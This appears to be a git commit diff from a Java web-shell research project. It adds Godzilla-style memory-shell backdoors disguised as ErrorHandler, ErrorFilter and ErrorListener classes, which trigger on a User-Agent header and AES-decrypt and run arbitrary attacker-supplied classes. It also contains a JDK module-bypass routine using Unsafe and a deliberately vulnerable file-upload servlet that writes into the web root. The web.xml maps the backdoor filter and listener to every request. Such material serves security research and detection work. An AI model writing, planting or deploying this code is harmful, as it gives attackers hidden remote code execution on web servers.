||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest)servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse)servletResponse;
|
||||
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(this.pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class)session.getAttribute("payload")).newInstance();
|
||||
} catch (IllegalAccessException | InstantiationException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(this.md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(this.md5.substring(16));
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception var12) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
|
||||
try {
|
||||
Class<?> base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
|
||||
value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var61) {
|
||||
try {
|
||||
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
|
||||
try {
|
||||
Class<?> base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
|
||||
value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var61) {
|
||||
try {
|
||||
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
public static Object byPassJdkModule() {
|
||||
Boolean var0 = false;
|
||||
|
||||
try {
|
||||
Class var1 = Class.forName("sun.misc.Unsafe");
|
||||
Field var2 = var1.getDeclaredField("theUnsafe");
|
||||
var2.setAccessible(true);
|
||||
Object var3 = var2.get((Object)null);
|
||||
Method var4 = Class.class.getMethod("getModule");
|
||||
Object var5 = var4.invoke(Object.class, (Object[])null);
|
||||
Method var6 = var3.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
Field var7 = Class.class.getDeclaredField("module");
|
||||
Long var8 = (Long)var6.invoke(var3, var7);
|
||||
Method var9 = var3.getClass().getMethod("getAndSetObject", Object.class, Long.TYPE, Object.class);
|
||||
var9.invoke(var3, ErrorHandler.class, var8, var5);
|
||||
var0 = true;
|
||||
} catch (Exception var10) {
|
||||
}
|
||||
|
||||
return var0;
|
||||
}
|
||||
|
||||
static {
|
||||
byPassJdkModule();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
import jakarta.servlet.ServletException;
|
||||
import jakarta.servlet.annotation.MultipartConfig;
|
||||
import jakarta.servlet.http.HttpServlet;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.Part;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.nio.file.Files;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
@MultipartConfig(
|
||||
fileSizeThreshold = 1024 * 1024,
|
||||
maxFileSize = 1024 * 1024 * 5,
|
||||
maxRequestSize = 1024 * 1024 * 5 * 5
|
||||
)
|
||||
public class UploadServlet extends HttpServlet {
|
||||
|
||||
private static final String UPLOAD_DIRECTORY = "/";
|
||||
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||
Part file = request.getPart("file");
|
||||
String fileName = getFileName(file);
|
||||
String uploadPath = getServletContext().getRealPath(UPLOAD_DIRECTORY) + fileName;
|
||||
InputStream inputStream = file.getInputStream();
|
||||
File uploadFile = new File(uploadPath);
|
||||
IOUtils.copy(inputStream, Files.newOutputStream(uploadFile.toPath()));
|
||||
response.getWriter().println("file upload success: " + uploadPath);
|
||||
}
|
||||
|
||||
private String getFileName(Part part) {
|
||||
for (String content : part.getHeader("content-disposition").split(";")) {
|
||||
if (content.trim().startsWith("filename")) {
|
||||
return content.substring(content.indexOf("=") + 2, content.length() - 1);
|
||||
}
|
||||
}
|
||||
return "shell.jsp";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<web-app
|
||||
xmlns="https://jakarta.ee/xml/ns/jakartaee"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_5_0.xsd"
|
||||
version="5.0"
|
||||
metadata-complete="false"
|
||||
>
|
||||
<welcome-file-list>
|
||||
<welcome-file>index.html</welcome-file>
|
||||
</welcome-file-list>
|
||||
|
||||
<servlet>
|
||||
<servlet-name>upload</servlet-name>
|
||||
<servlet-class>UploadServlet</servlet-class>
|
||||
</servlet>
|
||||
<servlet-mapping>
|
||||
<servlet-name>upload</servlet-name>
|
||||
<url-pattern>/upload</url-pattern>
|
||||
</servlet-mapping>
|
||||
<filter>
|
||||
<filter-name>godzilla</filter-name>
|
||||
<filter-class>ErrorHandler</filter-class>
|
||||
</filter>
|
||||
<filter-mapping>
|
||||
<filter-name>godzilla</filter-name>
|
||||
<url-pattern>/*</url-pattern>
|
||||
</filter-mapping>
|
||||
</web-app>
|
||||
@@ -0,0 +1 @@
|
||||
<h1>hello</h1>
|
||||
@@ -5,14 +5,16 @@ plugins {
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||
targetCompatibility = JavaVersion.VERSION_1_6
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'commons-fileupload:commons-fileupload:1.5'
|
||||
implementation 'commons-fileupload:commons-fileupload:1.3.3'
|
||||
providedCompile "javax.servlet:servlet-api:2.5"
|
||||
providedCompile 'jakarta.servlet:jakarta.servlet-api:5.0.0'
|
||||
}
|
||||
+5
-5
@@ -12,17 +12,17 @@ import java.io.IOException;
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class ErrorHandler extends ClassLoader implements Filter {
|
||||
public class ErrorFilter extends ClassLoader implements Filter {
|
||||
public String key = "3c6e0b8a9c15224a";
|
||||
public String pass = "pass";
|
||||
public String md5 = "11CD6A87589841636C37AC826A2A04BC";
|
||||
public String headerName = "User-Agent";
|
||||
public String headerValue = "test";
|
||||
|
||||
public ErrorHandler() {
|
||||
public ErrorFilter() {
|
||||
}
|
||||
|
||||
public ErrorHandler(ClassLoader var1) {
|
||||
public ErrorFilter(ClassLoader var1) {
|
||||
super(var1);
|
||||
}
|
||||
|
||||
@@ -56,7 +56,7 @@ public class ErrorHandler extends ClassLoader implements Filter {
|
||||
byte[] data = base64Decode(request.getParameter(this.pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data));
|
||||
session.setAttribute("payload", (new ErrorFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
@@ -64,7 +64,7 @@ public class ErrorHandler extends ClassLoader implements Filter {
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class) session.getAttribute("payload")).newInstance();
|
||||
} catch (IllegalAccessException | InstantiationException e) {
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
|
||||
+54
-58
@@ -1,33 +1,27 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaJakartaListener extends ClassLoader implements ServletRequestListener {
|
||||
public String md5;
|
||||
public String pass;
|
||||
public String key;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
public class ErrorListener extends ClassLoader implements ServletRequestListener {
|
||||
public String md5 = "4B9B4A9EEB3F82A06A5D643C57E87B54";
|
||||
public String pass = "passListener";
|
||||
public String key = "4fe60e3b9193d6bd";
|
||||
public String headerName = "User-Agent";
|
||||
public String headerValue = "test";
|
||||
|
||||
public GodzillaJakartaListener() {
|
||||
public ErrorListener() {
|
||||
}
|
||||
|
||||
public GodzillaJakartaListener(ClassLoader z) {
|
||||
super(z);
|
||||
public ErrorListener(ClassLoader var1) {
|
||||
super(var1);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
@@ -47,45 +41,43 @@ public class GodzillaJakartaListener extends ClassLoader implements ServletReque
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
Class<?> base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
|
||||
value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var61) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
Class<?> base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
|
||||
value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var61) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
@@ -93,52 +85,56 @@ public class GodzillaJakartaListener extends ClassLoader implements ServletReque
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
} catch (Exception var41) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
HttpServletRequest request = (HttpServletRequest)servletRequestEvent.getServletRequest();
|
||||
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
byte[] data = base64Decode(request.getParameter(this.pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute(
|
||||
"payload",
|
||||
(new GodzillaJakartaListener(this.getClass().getClassLoader())).Q(data));
|
||||
session.setAttribute("payload", (new ErrorFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
Object f = ((Class)session.getAttribute("payload")).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
response.getWriter().write(this.md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
response.getWriter().write(this.md5.substring(16));
|
||||
response.flushBuffer();
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} catch (Exception var8) {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
response = (HttpServletResponse)getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception var4) {
|
||||
response = (HttpServletResponse)getFieldValue(request, "response");
|
||||
}
|
||||
|
||||
return response;
|
||||
}
|
||||
}
|
||||
@@ -24,6 +24,10 @@
|
||||
<url-pattern>/upload</url-pattern>
|
||||
</servlet-mapping>
|
||||
|
||||
<listener>
|
||||
<listener-class>ErrorListener</listener-class>
|
||||
</listener>
|
||||
|
||||
<!-- <filter>-->
|
||||
<!-- <filter-name>godzilla</filter-name>-->
|
||||
<!-- <filter-class>ErrorHandler</filter-class>-->
|
||||
|
||||
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user